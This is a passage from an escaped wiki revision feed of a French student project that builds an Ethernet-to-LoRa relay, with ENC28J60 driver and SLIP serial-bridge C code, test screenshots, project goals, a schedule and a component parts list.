	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa. Les paquets que la carte ethernet reçoit doivent être envoyés à LoRa ensuite le LoRa va les envoyer à l'autre LoRa. Une fois que l'autre LoRa reçoit ces données, elles vont être envoyée à la carte ethernet. Le PC pourra traiter des données par la liaison série.&lt;br /&gt;
Pour réussir cette idée, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39212</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39212"/>
				<updated>2017-02-15T16:18:37Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. Les comportements d'enc28j60.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
